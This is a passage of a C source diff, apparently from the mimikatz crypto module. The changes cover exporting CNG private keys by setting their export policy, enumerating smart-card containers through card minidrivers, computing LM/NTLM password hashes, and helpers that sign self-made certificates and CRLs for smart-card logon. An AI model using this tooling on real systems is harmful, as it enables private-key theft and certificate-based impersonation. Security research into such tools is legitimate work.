size, 0))) + if(NT_SUCCESS(NCryptImportKey(hCngProv, 0, BCRYPT_RSAPRIVATE_BLOB, NULL, &hCngKey, (PBYTE) data, size, 0))) { - if(!NT_SUCCESS(K_NCryptSetProperty(hCngKey, NCRYPT_EXPORT_POLICY_PROPERTY, (PBYTE) &exportPolicy, sizeof(DWORD), 0))) + if(!NT_SUCCESS(NCryptSetProperty(hCngKey, NCRYPT_EXPORT_POLICY_PROPERTY, (PBYTE) &exportPolicy, sizeof(DWORD), 0))) PRINT_ERROR(L"NCryptSetProperty\n"); } else PRINT_ERROR(L"NCryptImportKey\n"); } } - else PRINT_ERROR(L"No CNG!\n"); + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND) + { + PRINT_ERROR(L"No CNG!\n"); + } } else { @@ -518,14 +498,14 @@ void kuhl_m_crypto_exportRawKeyToFile(LPCVOID data, DWORD size, BOOL isCNG, cons kuhl_m_crypto_printKeyInfos(hCngKey, hCapiKey); if(wantExport) kuhl_m_crypto_exportKeyToFile(hCngKey, hCapiKey, AT_KEYEXCHANGE, store, 0, name); - if(hCngKey) - K_NCryptFreeObject(hCngKey); + if(hCngKey) // we for sure know CNG is here + NCryptFreeObject(hCngKey); if(hCapiKey) CryptDestroyKey(hCapiKey); } - if(hCngProv) - K_NCryptFreeObject(hCngProv); + if(hCngProv) // same ;) + NCryptFreeObject(hCngProv); if(hCapiProv) CryptReleaseContext(hCapiProv, 0); } @@ -556,18 +536,25 @@ void kuhl_m_crypto_exportKeyToFile(NCRYPT_KEY_HANDLE hCngKey, HCRYPTKEY hCapiKey } else if(hCngKey) { - nCryptReturn = K_NCryptExportKey(hCngKey, 0, LEGACY_RSAPRIVATE_BLOB, NULL, NULL, 0, &szExport, 0); - if(nCryptReturn == ERROR_SUCCESS) + __try { - szPVK = szExport + sizeof(PVK_FILE_HDR); - if(pExport = (PBYTE) LocalAlloc(LPTR, szPVK)) + nCryptReturn = NCryptExportKey(hCngKey, 0, LEGACY_RSAPRIVATE_BLOB, NULL, NULL, 0, &szExport, 0); + if(nCryptReturn == ERROR_SUCCESS) { - nCryptReturn = K_NCryptExportKey(hCngKey, 0, LEGACY_RSAPRIVATE_BLOB, NULL, pExport + sizeof(PVK_FILE_HDR), szExport, &szExport, 0); - if(nCryptReturn != ERROR_SUCCESS) - pExport = (PBYTE) LocalFree(pExport); + szPVK = szExport + sizeof(PVK_FILE_HDR); + if(pExport = (PBYTE) LocalAlloc(LPTR, szPVK)) + { + nCryptReturn = NCryptExportKey(hCngKey, 0, LEGACY_RSAPRIVATE_BLOB, NULL, pExport + sizeof(PVK_FILE_HDR), szExport, &szExport, 0); + if(nCryptReturn != ERROR_SUCCESS) + pExport = (PBYTE) LocalFree(pExport); + } } + SetLastError(nCryptReturn); + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND) + { + SetLastError(ERROR_DLL_NOT_FOUND); } - SetLastError(nCryptReturn); } if(pExport) @@ -680,65 +667,93 @@ NTSTATUS kuhl_m_crypto_l_sc(int argc, wchar_t * argv[]) { SCARDCONTEXT hContext; SCARDHANDLE hCard; - BYTE atr[16]; + PBYTE atr; LONG status; LPWSTR mszReaders = NULL, pReader, mszCards = NULL, pCard, szProvider = NULL, szContainer; - DWORD dwLen = SCARD_AUTOALLOCATE, dwActiveProtocol, dwProvType; - + DWORD dwLen = SCARD_AUTOALLOCATE, dwAtrLen; + status = SCardEstablishContext(SCARD_SCOPE_SYSTEM, NULL, NULL, &hContext); if(status == SCARD_S_SUCCESS) { status = SCardListReaders(hContext, SCARD_ALL_READERS, (LPWSTR) &mszReaders, &dwLen); if(status == SCARD_S_SUCCESS) { - kprintf(L"SmartCard readers:\n"); + kprintf(L"SmartCard readers:"); for(pReader = mszReaders; *pReader; pReader += wcslen(pReader) + 1) { kprintf(L"\n * %s\n", pReader); - status = SCardConnect(hContext, pReader, SCARD_SHARE_SHARED, SCARD_PROTOCOL_T0 | SCARD_PROTOCOL_T1, &hCard, &dwActiveProtocol); - if(status == SCARD_S_SUCCESS) + if(szContainer = kuhl_m_crypto_l_sc_containerFromReader(pReader)) { - dwLen = sizeof(atr); - status = SCardGetAttrib(hCard, SCARD_ATTR_ATR_STRING, atr, &dwLen); + status = SCardConnect(hContext, pReader, SCARD_SHARE_SHARED, SCARD_PROTOCOL_T0 | SCARD_PROTOCOL_T1, &hCard, &dwLen); if(status == SCARD_S_SUCCESS) { - kprintf(L" ATR : "); - kull_m_string_wprintf_hex(atr, sizeof(atr), 0); - kprintf(L"\n"); - - dwLen = SCARD_AUTOALLOCATE; - status = SCardListCards(hContext, atr, NULL, 0, (LPWSTR) &mszCards, &dwLen); + dwAtrLen = SCARD_AUTOALLOCATE; + status = SCardGetAttrib(hCard, SCARD_ATTR_ATR_STRING, (PBYTE) &atr, &dwAtrLen); if(status == SCARD_S_SUCCESS) { - for(pCard = mszCards; *pCard; pCard += wcslen(pCard) + 1) + kprintf(L" ATR : "); + kull_m_string_wprintf_hex(atr, dwAtrLen, 0); + kprintf(L"\n"); + dwLen = SCARD_AUTOALLOCATE; + status = SCardListCards(hContext, atr, NULL, 0, (LPWSTR) &mszCards, &dwLen); + if(status == SCARD_S_SUCCESS) { - kprintf(L" Model: %s\n", pCard); - dwLen = SCARD_AUTOALLOCATE; - status = SCardGetCardTypeProviderName(hContext, pCard, SCARD_PROVIDER_CSP, (LPWSTR) &szProvider, &dwLen); - if(status == SCARD_S_SUCCESS) + for(pCard = mszCards; *pCard; pCard += wcslen(pCard) + 1) { - kprintf(L" CSP : %s\n", szProvider); - if(dwProvType = kuhl_m_crypto_l_sc_provtypefromname(szProvider)) + kprintf(L" Model: %s\n", pCard); + + dwLen = SCARD_AUTOALLOCATE; + status = SCardGetCardTypeProviderName(hContext, pCard, SCARD_PROVIDER_PRIMARY, (LPWSTR) &szProvider, &dwLen); + if(status == SCARD_S_SUCCESS) { - if(szContainer = kuhl_m_crypto_l_sc_containerFromReader(pReader)) - { - kuhl_m_crypto_l_keys_capi(szContainer, szProvider, dwProvType, CRYPT_SILENT, FALSE, NULL); - LocalFree(szContainer); - } + kprintf(L" PRIM : %s\n", szProvider); + SCardFreeMemory(hContext, szProvider); } - SCardFreeMemory(hContext, szProvider); + else if(status != ERROR_FILE_NOT_FOUND) PRINT_ERROR(L"SCardGetCardTypeProviderName(PRIM): 0x%08x\n", status); + + dwLen = SCARD_AUTOALLOCATE; + status = SCardGetCardTypeProviderName(hContext, pCard, SCARD_PROVIDER_CSP, (LPWSTR) &szProvider, &dwLen); + if(status == SCARD_S_SUCCESS) + { + kprintf(L" CSP : %s\n", szProvider); + if(dwLen = kuhl_m_crypto_l_sc_provtypefromname(szProvider)) + kuhl_m_crypto_l_keys_capi(szContainer, szProvider, dwLen, CRYPT_SILENT, FALSE, NULL); + SCardFreeMemory(hContext, szProvider); + } + else if(status != ERROR_FILE_NOT_FOUND) PRINT_ERROR(L"SCardGetCardTypeProviderName(CSP): 0x%08x\n", status); + + dwLen = SCARD_AUTOALLOCATE; + status = SCardGetCardTypeProviderName(hContext, pCard, SCARD_PROVIDER_KSP, (LPWSTR) &szProvider, &dwLen); + if(status == SCARD_S_SUCCESS) + { + kprintf(L" KSP : %s\n", szProvider); + kuhl_m_crypto_l_keys_cng(szContainer, szProvider, 0, FALSE, NULL); + SCardFreeMemory(hContext, szProvider); + } + else if(status != ERROR_FILE_NOT_FOUND) PRINT_ERROR(L"SCardGetCardTypeProviderName(KSP): 0x%08x\n", status); + + dwLen = SCARD_AUTOALLOCATE; + status = SCardGetCardTypeProviderName(hContext, pCard, SCARD_PROVIDER_CARD_MODULE, (LPWSTR) &szProvider, &dwLen); + if(status == SCARD_S_SUCCESS) + { + kprintf(L" MDRV : %s\n", szProvider); + kuhl_m_crypto_l_mdr(szProvider, hContext, hCard, pCard, atr, dwAtrLen); + SCardFreeMemory(hContext, szProvider); + } + else if(status != ERROR_FILE_NOT_FOUND) PRINT_ERROR(L"SCardGetCardTypeProviderName(MDR): 0x%08x\n", status); } - else PRINT_ERROR(L"SCardGetCardTypeProviderName: 0x%08x\n", status); + SCardFreeMemory(hContext, mszCards); } - SCardFreeMemory(hContext, mszCards); + else PRINT_ERROR(L"SCardListCards: 0x%08x\n", status); + SCardFreeMemory(hContext, atr); } - else PRINT_ERROR(L"SCardListCards: 0x%08x\n", status); + else PRINT_ERROR(L"SCardGetAttrib: 0x%08x (%u)\n", status, dwAtrLen); + SCardDisconnect(hCard, SCARD_LEAVE_CARD); } - else PRINT_ERROR(L"SCardGetAttrib: 0x%08x\n", status); - SCardDisconnect(hCard, SCARD_LEAVE_CARD); + else if(status != SCARD_W_REMOVED_CARD) + PRINT_ERROR(L"SCardConnect: 0x%08x\n", status); + LocalFree(szContainer); } - else if(status != SCARD_W_REMOVED_CARD) - PRINT_ERROR(L"SCardConnect: 0x%08x\n", status); } SCardFreeMemory(hContext, mszReaders); } @@ -749,11 +764,183 @@ NTSTATUS kuhl_m_crypto_l_sc(int argc, wchar_t * argv[]) return STATUS_SUCCESS; } + + + +LPVOID WINAPI mdAlloc(__in SIZE_T Size) +{ + return malloc(Size); +} + +LPVOID WINAPI mdReAlloc( __in LPVOID Address, __in SIZE_T Size) +{ + return realloc(Address, Size); +} + +void WINAPI mdFree( __in LPVOID Address) +{ + if(Address) + free(Address); +} + +DWORD WINAPI mdCacheAddFile(__in PVOID pvCacheContext, __in LPWSTR wszTag, __in DWORD dwFlags, __in_bcount(cbData) PBYTE pbData, __in DWORD cbData) +{ + kprintf(TEXT(__FUNCTION__) L"\n"); + return SCARD_E_INVALID_PARAMETER; +} + +DWORD WINAPI mdCacheLookupFile(__in PVOID pvCacheContext, __in LPWSTR wszTag, __in DWORD dwFlags, __deref_out_bcount(*pcbData) PBYTE *ppbData, __out PDWORD pcbData) +{ + kprintf(TEXT(__FUNCTION__) L"\n"); + return SCARD_E_INVALID_PARAMETER; +} + +DWORD WINAPI mdCacheDeleteFile(__in PVOID pvCacheContext, __in LPWSTR wszTag, __in DWORD dwFlags) +{ + kprintf(TEXT(__FUNCTION__) L"\n"); + return SCARD_E_INVALID_PARAMETER; +} + +DWORD WINAPI mdPadData(__in PCARD_SIGNING_INFO pSigningInfo, __in DWORD cbMaxWidth, __out DWORD* pcbPaddedBuffer, __deref_out_bcount(*pcbPaddedBuffer) PBYTE* ppbPaddedBuffer) +{ + kprintf(TEXT(__FUNCTION__) L"\n"); + return SCARD_E_INVALID_PARAMETER; +} + +void enuma(PCARD_DATA pData, LPCSTR dir) +{ + LPSTR files = NULL, p; + DWORD status, nFiles = 0; + + kprintf(L" \\%-8S: ", dir ? dir : ""); + status = pData->pfnCardEnumFiles(pData, (LPSTR) dir, &files, &nFiles, 0); + if(status == SCARD_S_SUCCESS) + { + for(p = files; *p; p += lstrlenA(p) + 1) + kprintf(L"%S ; ", p); + kprintf(L"\n"); + pData->pfnCspFree(files); + } + else if(status == SCARD_E_FILE_NOT_FOUND) + kprintf(L"\n"); + else PRINT_ERROR(L"CardEnumFiles: 0x%08x\n", status); +} + +void descblob(PUBLICKEYSTRUC *pk) +{ + kprintf(L"%s", kull_m_crypto_algid_to_name(pk->aiKeyAlg)); + switch(pk->aiKeyAlg) + { + case CALG_RSA_KEYX: + case CALG_RSA_SIGN: + kprintf(L" (%u)", ((PRSA_GENERICKEY_BLOB) pk)->RsaKey.bitlen); + break; + default: + ; + } +} + +void kuhl_m_crypto_l_mdr(LPCWSTR szMdr, SCARDCONTEXT ctxScard, SCARDHANDLE hScard, LPCWSTR szModel, LPCBYTE pbAtr, DWORD cbAtr) +{ + HMODULE hModule; + CARD_DATA cd = {0}; + PFN_CARD_ACQUIRE_CONTEXT CardAcquireContext; + //CARD_CAPABILITIES cap = {CARD_CAPABILITIES_CURRENT_VERSION, FALSE, FALSE}; + CARD_FREE_SPACE_INFO spa = {CARD_FREE_SPACE_INFO_CURRENT_VERSION, 0, 0, 0}; + CONTAINER_INFO ci; + DWORD status, i; + + if(hModule = LoadLibrary(szMdr)) + { + if(CardAcquireContext = (PFN_CARD_ACQUIRE_CONTEXT) GetProcAddress(hModule, "CardAcquireContext")) + { + cd.dwVersion = CARD_DATA_CURRENT_VERSION; // 7 + cd.pbAtr = (PBYTE) pbAtr; + cd.cbAtr = cbAtr; + cd.pwszCardName = (LPWSTR) szModel; + + cd.pfnCspAlloc = mdAlloc; + cd.pfnCspReAlloc = mdReAlloc; + cd.pfnCspFree = mdFree; + cd.pfnCspCacheAddFile = mdCacheAddFile; + cd.pfnCspCacheLookupFile = mdCacheLookupFile; + cd.pfnCspCacheDeleteFile = mdCacheDeleteFile; + cd.pfnCspPadData = mdPadData; + + cd.hSCardCtx = ctxScard; + cd.hScard = hScard; + + cd.pfnCspGetDHAgreement = NULL; + cd.pfnCspUnpadData = NULL; + + + status = CardAcquireContext(&cd, 0); + if(status == SCARD_S_SUCCESS) + { + //status = cd.pfnCardQueryCapabilities(&cd, &cap); + //if(status == SCARD_S_SUCCESS) + // kprintf(L" CertificateCompression: %08x\n KeyGen: %08x\n", cap.fCertificateCompression, cap.fKeyGen); + //else PRINT_ERROR(L"CardQueryCapabilities: 0x%08x\n", status); + + status = cd.pfnCardQueryFreeSpace(&cd, 0, &spa); + if(status == SCARD_S_SUCCESS) + { + kprintf(L" Containers: %u / %u (%u byte(s) free)\n", spa.dwKeyContainersAvailable, spa.dwMaxKeyContainers, spa.dwBytesAvailable); + + for(i = 0; i < spa.dwMaxKeyContainers; i++) + { + ci.dwVersion = CONTAINER_INFO_CURRENT_VERSION; + status = cd.pfnCardGetContainerInfo(&cd, (BYTE) i, 0, &ci); + if(status == SCARD_S_SUCCESS) + { + kprintf(L"\t[%2u] ", i); + if(ci.cbSigPublicKey && ci.pbSigPublicKey) + { + kprintf(L"Signature: "); + descblob((PUBLICKEYSTRUC *) ci.pbSigPublicKey); + cd.pfnCspFree(ci.pbSigPublicKey); + + if(ci.cbKeyExPublicKey && ci.pbKeyExPublicKey) + kprintf(L" - "); + } + if(ci.cbKeyExPublicKey && ci.pbKeyExPublicKey) + { + kprintf(L"Exchange: "); + descblob((PUBLICKEYSTRUC *) ci.pbKeyExPublicKey); + cd.pfnCspFree(ci.pbKeyExPublicKey); + } + kprintf(L"\n"); + } + else if(status != SCARD_E_NO_KEY_CONTAINER) PRINT_ERROR(L"CardGetContainerInfo(%u): 0x%08x\n", i, status); + } + } + else PRINT_ERROR(L"CardQueryFreeSpace: 0x%08x\n", status); + + enuma(&cd, NULL); + enuma(&cd, "mscp"); + enuma(&cd, "mimikatz"); + + + + status = cd.pfnCardDeleteContext(&cd); + if(status != SCARD_S_SUCCESS) + PRINT_ERROR(L"CardDeleteContext: 0x%08x\n", status); + } + else PRINT_ERROR(L"CardAcquireContext: 0x%08x\n", status); + + } + else PRINT_ERROR(L"No CardAcquireContext export in \'%s\'\n", szMdr); + FreeLibrary(hModule); + } + else PRINT_ERROR_AUTO(L"LoadLibrary"); +} + NTSTATUS kuhl_m_crypto_hash(int argc, wchar_t * argv[]) { PCWCHAR szCount, szPassword = NULL, szUsername = NULL; - UNICODE_STRING uPassword, uUsername, uTmp; - ANSI_STRING aTmp; + UNICODE_STRING uPassword, uUsername;/*, uTmp; + ANSI_STRING aTmp;*/ + OEM_STRING oTmp; DWORD count = 10240; BYTE hash[LM_NTLM_HASH_LENGTH], dcc[LM_NTLM_HASH_LENGTH], md5[MD5_DIGEST_LENGTH], sha1[SHA_DIGEST_LENGTH], sha2[32]; @@ -780,17 +967,26 @@ NTSTATUS kuhl_m_crypto_hash(int argc, wchar_t * argv[]) } } - if(NT_SUCCESS(RtlUpcaseUnicodeString(&uTmp, &uPassword, TRUE))) + //if(NT_SUCCESS(RtlUpcaseUnicodeString(&uTmp, &uPassword, TRUE))) + //{ + // if(NT_SUCCESS(RtlUnicodeStringToAnsiString(&aTmp, &uTmp, TRUE))) + // { + // if(NT_SUCCESS(RtlDigestLM(aTmp.Buffer, hash))) + // { + // kprintf(L"LM : "); kull_m_string_wprintf_hex(hash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); + // } + // RtlFreeAnsiString(&aTmp); + // } + // RtlFreeUnicodeString(&uTmp); + //} + + if(NT_SUCCESS(RtlUpcaseUnicodeStringToOemString(&oTmp, &uPassword, TRUE))) { - if(NT_SUCCESS(RtlUnicodeStringToAnsiString(&aTmp, &uTmp, TRUE))) + if(NT_SUCCESS(RtlDigestLM(oTmp.Buffer, hash))) { - if(NT_SUCCESS(RtlDigestLM(aTmp.Buffer, hash))) - { - kprintf(L"LM : "); kull_m_string_wprintf_hex(hash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); - } - RtlFreeAnsiString(&aTmp); + kprintf(L"LM : "); kull_m_string_wprintf_hex(hash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); } - RtlFreeUnicodeString(&uTmp); + RtlFreeOemString(&oTmp); } if(kull_m_crypto_hash(CALG_MD5, uPassword.Buffer, uPassword.Length, md5, MD5_DIGEST_LENGTH)) @@ -982,11 +1178,11 @@ BOOL kuhl_m_crypto_c_sc_auth_Ext_AltUPN(PCERT_EXTENSION pCertExtension, LPCWSTR return status; } -BOOL kuhl_m_crypto_c_sc_auth_Ext_KU(PCERT_EXTENSION pCertExtension, WORD bits) +BOOL kuhl_m_crypto_c_sc_auth_Ext_KU(PCERT_EXTENSION pCertExtension, BOOL isCritical, WORD bits) { CRYPT_BIT_BLOB bit = {sizeof(bits), (PBYTE) &bits, 5}; pCertExtension->pszObjId = szOID_KEY_USAGE; - pCertExtension->fCritical = TRUE; + pCertExtension->fCritical = isCritical; return kuhl_m_crypto_c_sc_auth_quickEncode(pCertExtension->pszObjId, &bit, &pCertExtension->Value); } @@ -1016,191 +1212,594 @@ __inline void kuhl_m_crypto_c_sc_auth_Ext_Free(PCERT_EXTENSION pCertExtension) LocalFree(pCertExtension->Value.pbData); } +BOOL giveski(PCERT_EXTENSION pCertExtension, PCERT_PUBLIC_KEY_INFO info) +{ + SHA_CTX ctx; + SHA_DIGEST dgst; + CRYPT_DATA_BLOB bit = {sizeof(dgst.digest), dgst.digest}; + A_SHAInit(&ctx); + A_SHAUpdate(&ctx, info->PublicKey.pbData, info->PublicKey.cbData); + A_SHAFinal(&ctx, &dgst); + pCertExtension->pszObjId = szOID_SUBJECT_KEY_IDENTIFIER; + pCertExtension->fCritical = FALSE; + return kuhl_m_crypto_c_sc_auth_quickEncode(pCertExtension->pszObjId, &bit, &pCertExtension->Value); +} + +BOOL giveaki(PCERT_EXTENSION pCertExtension, PCERT_PUBLIC_KEY_INFO info) +{ + SHA_CTX ctx; + SHA_DIGEST dgst; + CERT_AUTHORITY_KEY_ID2_INFO ainfo = {{sizeof(dgst.digest), dgst.digest}, {0, NULL}, {0, NULL}}; + A_SHAInit(&ctx); + A_SHAUpdate(&ctx, info->PublicKey.pbData, info->PublicKey.cbData); + A_SHAFinal(&ctx, &dgst); + pCertExtension->pszObjId = szOID_AUTHORITY_KEY_IDENTIFIER2; + pCertExtension->fCritical = FALSE; + return kuhl_m_crypto_c_sc_auth_quickEncode(pCertExtension->pszObjId, &ainfo, &pCertExtension->Value); +} + +BOOL kuhl_m_crypto_c_sc_auth_Ext_CDP(PCERT_EXTENSION pCertExtension, DWORD count, ...) +{ + BOOL status = FALSE; + CRL_DIST_POINT point = {{CRL_DIST_POINT_FULL_NAME, {count, NULL}}, {0, NULL, 0}, {0, NULL}}; + CRL_DIST_POINTS_INFO crl = {1, &point}; + va_list vaList; + DWORD i; + pCertExtension->pszObjId = szOID_CRL_DIST_POINTS; + pCertExtension->fCritical = FALSE; + if(point.DistPointName.FullName.rgAltEntry = (PCERT_ALT_NAME_ENTRY) LocalAlloc(LPTR, sizeof(CERT_ALT_NAME_ENTRY) * count)) + { + va_start(vaList, count); + for(i = 0; i < count; i++) + { + point.DistPointName.FullName.rgAltEntry[i].dwAltNameChoice = CERT_ALT_NAME_URL; + point.DistPointName.FullName.rgAltEntry[i].pwszURL = va_arg(vaList, LPWSTR); + } + va_end(vaList); + status = kuhl_m_crypto_c_sc_auth_quickEncode(pCertExtension->pszObjId, &crl, &pCertExtension->Value); + LocalFree(point.DistPointName.FullName.rgAltEntry); + } + return status; +} + +BOOL givebc2(PCERT_EXTENSION pCertExtension, PCERT_BASIC_CONSTRAINTS2_INFO info) +{ + pCertExtension->pszObjId = szOID_BASIC_CONSTRAINTS2; + pCertExtension->fCritical = info->fCA; // :) + return kuhl_m_crypto_c_sc_auth_quickEncode(pCertExtension->pszObjId, info, &pCertExtension->Value); +} + +BOOL genRdnAttr(PCERT_RDN_ATTR attr, LPSTR oid, LPCWSTR name) +{ + BOOL status = FALSE; + if(attr && name && oid) + { + attr->pszObjId = oid; + attr->dwValueType = CERT_RDN_UNICODE_STRING; + attr->Value.cbData = lstrlenW(name) * sizeof(wchar_t); + attr->Value.pbData = (PBYTE) name; + status = TRUE; + } + return status; +} + +PCERT_PUBLIC_KEY_INFO getPublicKeyInfo(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE hProv, DWORD dwKeySpec) +{ + PCERT_PUBLIC_KEY_INFO info = NULL; + DWORD cbInfo; + if(CryptExportPublicKeyInfo(hProv, dwKeySpec, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, NULL, &cbInfo)) + { + if(info = (PCERT_PUBLIC_KEY_INFO) LocalAlloc(LPTR, cbInfo)) + { + if(!CryptExportPublicKeyInfo(hProv, dwKeySpec, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, info, &cbInfo)) + { + PRINT_ERROR_AUTO(L"CryptExportPublicKeyInfo (data)"); + info = (PCERT_PUBLIC_KEY_INFO) LocalFree(info); + } + } + } + else PRINT_ERROR_AUTO(L"CryptExportPublicKeyInfo (init)"); + return info; +} + +BOOL makePin(HCRYPTPROV hProv, BOOL isHw, LPSTR pin) +{ + BOOL status = FALSE; + if(isHw && pin) + { + if(!(status = CryptSetProvParam(hProv, PP_KEYEXCHANGE_PIN, (const BYTE *) pin, 0))) + PRINT_ERROR_AUTO(L"CryptSetProvParam(PP_KEYEXCHANGE_PIN)"); + } + else status = TRUE; + return status; +} + +BOOL makeSN(LPCWCHAR szSn, PCRYPT_INTEGER_BLOB sn) +{ + BOOL status = FALSE; + if(szSn) + { + status = kull_m_string_stringToHexBuffer(szSn, &sn->pbData, &sn->cbData); + if(!status) + PRINT_ERROR(L"Unable to use \'%s\' as a HEX string\n", szSn); + } + else + { + sn->cbData = 20; + if(sn->pbData = (PBYTE) LocalAlloc(LPTR, sn->cbData)) + { + status = NT_SUCCESS(CDGenerateRandomBits(sn->pbData, sn->cbData)); + if(!status) + LocalFree(sn->pbData); + } + } + return status; +} + +BOOL getCertificate(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE hProv, DWORD dwKeySpec, LPCSTR type, const void *pvStructInfo, PCRYPT_ALGORITHM_IDENTIFIER pSignatureAlgorithm, PBYTE *Certificate, DWORD *cbCertificate) +{ + BOOL status = FALSE; + if(CryptSignAndEncodeCertificate(hProv, dwKeySpec, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, type, pvStructInfo, pSignatureAlgorithm, NULL, NULL, cbCertificate)) + { + if(*Certificate = (PBYTE) LocalAlloc(LPTR, *cbCertificate)) + { + if(!(status = CryptSignAndEncodeCertificate(hProv, dwKeySpec, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, type, pvStructInfo, pSignatureAlgorithm, NULL, *Certificate, cbCertificate))) + { + PRINT_ERROR_AUTO(L"CryptSignAndEncodeCertificate (data)"); + *Certificate = (PBYTE) LocalFree(*Certificate); + } + } + } + else PRINT_ERROR_AUTO(L"CryptSignAndEncodeCertificate (init)"); + return status; +} + +PWSTR getCertificateName(PCERT_NAME_BLOB blob) +{ + PWSTR ret = NULL; + DWORD dwSizeNeeded = CertNameToStr(X509_ASN_ENCODING, blob, CERT_X500_NAME_STR, NULL, 0); + if(dwSizeNeeded) + { + if(ret = (PWSTR) LocalAlloc(LPTR, dwSizeNeeded * sizeof(wchar_t))) + { + if(!CertNameToStr(X509_ASN_ENCODING, blob, CERT_X500_NAME_STR, ret, dwSizeNeeded)) + ret = (PWSTR) LocalFree(ret); + } + } + return ret; +} + +typedef struct _KIWI_KEY_INFO { + CRYPT_KEY_PROV_INFO keyInfos; + LPSTR pin; + DWORD dwKeyFlags; + WORD wKeySize; + HCRYPTPROV hProv; +} KIWI_KEY_INFO, *PKIWI_KEY_INFO; + +typedef struct _KIWI_CERT_INFO { + LPFILETIME notbefore; // do NOT move + LPFILETIME notafter; // do NOT move + LPCWSTR cn; + LPCWSTR ou; + LPCWSTR o; + LPCWSTR c; + LPCWSTR sn; + WORD ku; + LPSTR algorithm; + BOOL isAC; + PCERT_EXTENSION eku; + PCERT_EXTENSION san; + PCERT_EXTENSION cdp; +} KIWI_CERT_INFO, *PKIWI_CERT_INFO; + +typedef struct _KIWI_CRL_INFO { + LPFILETIME thisupdate; // do NOT move + LPFILETIME nextupdate; // do NOT move + LPSTR algorithm; + int crlnumber; + // ... +} KIWI_CRL_INFO, *PKIWI_CRL_INFO; + +typedef struct _KIWI_SIGNER { + HCRYPTPROV_OR_NCRYPT_KEY_HANDLE hProv; + DWORD dwKeySpec; + FILETIME NotBefore; + FILETIME NotAfter; + CERT_NAME_BLOB Subject; +} KIWI_SIGNER, *PKIWI_SIGNER; + +void getDate(PFILETIME s, PFILETIME e, PVOID certOrCrlinfo, PCCERT_CONTEXT signer, PKIWI_SIGNER dSigner) +{ + PFILETIME *info = (PFILETIME *) certOrCrlinfo; + if(info[0]) + *s = *info[0]; + else + { + if(signer && *(PULONG) &signer->pCertInfo->NotBefore) + *s = signer->pCertInfo->NotBefore; + else if(dSigner && *(PULONG) &dSigner->NotBefore) + *s = dSigner->NotBefore; + else GetSystemTimeAsFileTime(s); + } + if(info[1]) + *e = *info[1]; + else + { + if(signer && *(PULONG) &signer->pCertInfo->NotAfter) + *e = signer->pCertInfo->NotAfter; + else if(dSigner && *(PULONG) &dSigner->NotAfter) + *e = dSigner->NotAfter; + else + { + *e = *s; + *(PULONGLONG) e += (ULONGLONG) 10000000 * 60 * 60 * 24 * 365 * 10; + } + } +} + +BOOL closeHprov(BOOL bFreeKey, DWORD dwSpec, HCRYPTPROV_OR_NCRYPT_KEY_HANDLE hProv) +{ + BOOL status = !bFreeKey; + if(hProv && bFreeKey) + { + if(dwSpec != CERT_NCRYPT_KEY_SPEC) + status = CryptReleaseContext(hProv, 0); + else + { + __try + { + status = (NCryptFreeObject(hProv) == ERROR_SUCCESS); + } + __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND) + { + PRINT_ERROR(L"CNG key without functions?\n"); + } + } + } + return status; +} + +BOOL getFromSigner(PCCERT_CONTEXT signer, PKIWI_SIGNER dSigner, HCRYPTPROV_OR_NCRYPT_KEY_HANDLE *hSigner, DWORD *dwSignerKeySpec, BOOL *bFreeSignerKey, PCERT_EXTENSION aki, CERT_NAME_BLOB *nameIssuer) +{ + BOOL status = FALSE; + DWORD dwSizeNeeded; + PCRYPT_KEY_PROV_INFO pBuffer; + PCERT_PUBLIC_KEY_INFO pbSignerPublicKeyInfo; + + if(signer) + { + *nameIssuer = signer->pCertInfo->Subject; + if(CertGetCertificateContextProperty(signer, CERT_KEY_PROV_INFO_PROP_ID, NULL, &dwSizeNeeded)) + { + if(pBuffer = (PCRYPT_KEY_PROV_INFO) LocalAlloc(LPTR, dwSizeNeeded)) + { + if(CertGetCertificateContextProperty(signer, CERT_KEY_PROV_INFO_PROP_ID, pBuffer, &dwSizeNeeded)) + kprintf(L" [i.key ] provider : %s\n [i.key ] container: %s\n", pBuffer->pwszProvName, pBuffer->pwszContainerName); + LocalFree(pBuffer); + } + } + if(CryptAcquireCertificatePrivateKey(signer, CRYPT_ACQUIRE_CACHE_FLAG | CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG, NULL, hSigner, dwSignerKeySpec, bFreeSignerKey)) + { + if(pbSignerPublicKeyInfo = getPublicKeyInfo(*hSigner, *dwSignerKeySpec)) + { + status = giveaki(aki, pbSignerPublicKeyInfo); + LocalFree(pbSignerPublicKeyInfo); + } + if(!status) + closeHprov(*bFreeSignerKey, *dwSignerKeySpec, *hSigner); + } + else PRINT_ERROR_AUTO(L"CryptAcquireCertificatePrivateKey(signer)"); + } + else if(dSigner) + { + *nameIssuer = dSigner->Subject; + *hSigner = dSigner->hProv; + *dwSignerKeySpec = dSigner->dwKeySpec; + *bFreeSignerKey = FALSE; + if(pbSignerPublicKeyInfo = getPublicKeyInfo(*hSigner, *dwSignerKeySpec)) + { + status = giveaki(aki, pbSignerPublicKeyInfo); + LocalFree(pbSignerPublicKeyInfo); + } + } + + if(!status) + { + *hSigner = 0; + *bFreeSignerKey = FALSE; + } + return status; +} + +BOOL generateCrl(PKIWI_CRL_INFO ci, PCCERT_CONTEXT signer, PKIWI_SIGNER dSigner, PBYTE *Crl, DWORD *cbCrl) +{ + BOOL status = FALSE, isHw = FALSE, bFreeSignerKey; + HCRYPTPROV_OR_NCRYPT_KEY_HANDLE hSigner = 0; + DWORD dwSignerKeySpec; + + CERT_EXTENSION Extensions[2] = {0}; // AKI, CRL Number + CRL_INFO CrlInfo = {0}; + PWSTR dn; + + CrlInfo.dwVersion = CRL_V2; + CrlInfo.cExtension = ARRAYSIZE(Extensions); + CrlInfo.rgExtension = Extensions; + CrlInfo.SignatureAlgorithm.pszObjId = ci->algorithm ? ci->algorithm : szOID_RSA_SHA1RSA; + + getDate(&CrlInfo.ThisUpdate, &CrlInfo.NextUpdate, ci, signer, dSigner); + + CrlInfo.rgExtension[0].pszObjId = 